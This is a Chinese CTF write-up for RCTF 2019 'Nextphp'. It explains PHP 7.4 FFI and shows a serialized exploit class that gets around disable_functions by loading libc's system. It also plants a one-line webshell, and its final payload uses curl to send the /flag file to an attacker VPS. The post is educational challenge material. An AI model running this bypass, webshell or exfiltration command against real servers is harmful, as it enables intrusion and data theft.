[RCTF 2019]Nextphp

[RCTF 2019]Nextphp

知识点:php7.4的FFI扩展安全问题以及利用


打开容器

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

查看phpinfo(),查看disable_functions,过滤了相当多的函数

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl	

首先尝试蚁剑直接连接,但是失败了,然后使用file_put_contents函数写入a.php文件,里面写个一句话木马,密码为1,然后连接,成功

image-20220118224929142

可以得到preload.php的源码

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    //可以进行函数执行
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        //array_merge把两个数组合并为一个数组
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        
        $this->data = unserialize($payload);
        $this->run();
    }
	//结果输出
    public function __get ($key) {
        //如果$key为ret,就可以输出函数执行返回的结果
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

关于PHP FFI的学习

学习文章:PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅 (laruence.com)

FFI是什么?

FFI是php7.4出的一个扩展,提供了高级语言直接的相互调用,相对于PHP来说,FFI可以让我们方便的调用C语言写的各种库

调用方法的对比

其实现有大量的PHP扩展是对一些已有的C库的包装,比如常用的mysqli, curl, gettext等,PECL中也有大量的类似扩展。

传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了。

FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源

使用FFI需要启用PHP7.4配置中的ext/ffi,需要注意的是PHP-FFI要求libffi-3以上

PHPFFI的安全性问题

FFI虽然给了我们很大的灵活性,但是毕竟直接调用C库函数,还是非常具有风险性的,我们应该只容许用户调用我们确认过的函数,于是,ffi.enable=preload就该上场了,当我们设置ffi.enable=preload的话,那就只有在opcache.preload的脚本中的函数才能调用FFI,而用户写的函数是没有办法直接调用的。

解决方法:

可以通过ffi.enable=preload, 我们就可以限制,所有的FFI API只能被我们可控制的preload脚本调用,用户不能直接调用。从而我们可以在这些函数内做好尽可能的安全保证工作,从而保证一定的安全性。

关于payload的理解

问了下师傅,得到了如下的理解

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是结果的payload里面仍然还使用了system的原因,因为我们是加载c库函数中的system函数的

动态链接库里面有符号表,函数名称表,存储着函数名称对应的函数机器码地址。当cdef的参数写上函数原型之后,他就可以通过这个方式找到动态链接库里面对应的函数地址:cdef的第一个参数函数原型告诉他这个函数叫啥名字,参数列表,返回值类型,这样他就会按照一定的命名规范将其转化为system在libc库里面的符号并以此进行查找

exp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    //可以进行函数执行
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        //array_merge把两个数组合并为一个数组
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);
        $this->run();
    }
    //结果输出
    public function __get ($key) {
        //如果$key为ret,就可以输出函数执行返回的结果
        return $this->data[$key];
    }
/*
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
    public function __construct () {
        throw new \Exception('No implemented');
    }*/
}

$a = new A();
echo serialize($a);

注意要注释__serialize()函数,然后因为根据分析,我们应该调用的是serialize函数,但是php7.4中新增了一些内容,所以我们需要进行注释

image-20220122093310344

在不注释的情况下

会去执行__serialize()函数

image-20220122102029712

最后的结果

image-20220122094102006

在注释了__serialize()的情况下,会去执行serialize()函数

image-20220122094040547

对比一下,这两个是不同的

执行的过程:

传入$a之后,进行unserialize反序列化,然后因为php7.4的更新,会找__unserialize()函数,然后执行run()函数,然后data['ret']=FFI::cdef('int system(char *command);'),然后使用从C库中加载的system函数

最后的payload

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps的ip:7777');

得到flag

image-20220122093922045

本地环境复现

windows下似乎不能复现了

Can it run on Windows? · Issue #15 · dstogov/php-ffi (github.com)

image-20220121002101894

那在linux下进行复现,复现环境根据文章:RCTF2019Web题解之nextphp | Mochazz’s blog

image-20220121234816043

中间经过一系列操作,注意一些环境的配置,比如

autoconf的安装:error: Autoconf version 2.68 or higher is required on CentOS – How to Fix | Lampdocs.com

环境配好之后,去/root/myphp/bin目录下,进行操作。如下,成功的调用了system函数

image-20220121235059371

然后加载libc.so.6查看当前用户

image-20220122091244839

参考链接

  1. RCTF2019Web题解之nextphp | Mochazz’s blog
  2. [刷题RCTF 2019]Nextphp - kar3a - 博客园 (cnblogs.com)
  3. PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅 (laruence.com)
  4. [RCTF 2019]Nextphp_fmyyy1的博客-CSDN博客
  5. error: Autoconf version 2.68 or higher is required on CentOS – How to Fix | Lampdocs.com
  6. PHP: 魔术方法 - Manual
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值